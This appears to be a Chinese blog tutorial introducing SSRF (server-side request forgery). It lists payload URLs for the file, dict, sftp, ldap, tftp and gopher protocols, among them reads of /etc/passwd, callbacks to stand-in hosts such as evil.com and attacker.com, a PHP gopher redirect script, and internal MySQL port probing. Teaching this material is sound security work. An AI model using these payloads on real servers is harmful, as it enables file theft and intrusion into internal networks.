浅谈SSRF

SSRF

0x00 什么是SSRF?

SSRF(Server Side Request Forgery, 服务端请求伪造),可以简单理解为,让当前server作为一个跳板,我们可以借助gopher://file://dict://等等协议,探测内网信息。


0x01 SSRF在哪儿?

SSRF需要攻击者提供一个URL链接,服务端会尝试读取URL链接内容,然后返回指定URL内容或相关信息。

根据挖洞经验,常常存在于:

  • URL链接跳转,重定向
  • 编辑框远程图片获取

0x02 测试协议

  • file://
  • dict://
  • sftp://
  • ldap://
  • tftp://
  • gopher://

2.1 file://

文件读取协议

payload:

http://example.com/ssrf.php?url=file:///etc/passwd

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2.2 dict://

通过DICT协议使用的定义或单词列表

payload:

http://example.com/ssrf.php?dict://evil.com:1337/

2.3 sftp://

Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上

http://example.com/ssrf.php?url=sftp://evil.com:1337/

2.4 ldap:// 或 ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

payload:

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

2.5 tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

payload:

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

2.6 gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

payload:

http://example.com/ssrf.php?url=http://attacker.com/gopher.php

// gopher.php (host it on acttacker.com):-
<?php
  header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>

没做好过滤,类似任意文件读取漏洞一样


0x03 扫描内部网络和端口

scanport

例如通过dict://探测mysql信息

http://www.test.com/test.php?url=dict://192.168.163.1:3306/info 可以获取目标主机的3306端口上运行着mysq-l5.5.55版本的应用。


Reference:

发表评论 / Comment

用心评论~


Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/blog.dyboy.cn/content/templates/dyblog/footer.php:56) in /www/wwwroot/blog.dyboy.cn/include/lib/view.php on line 23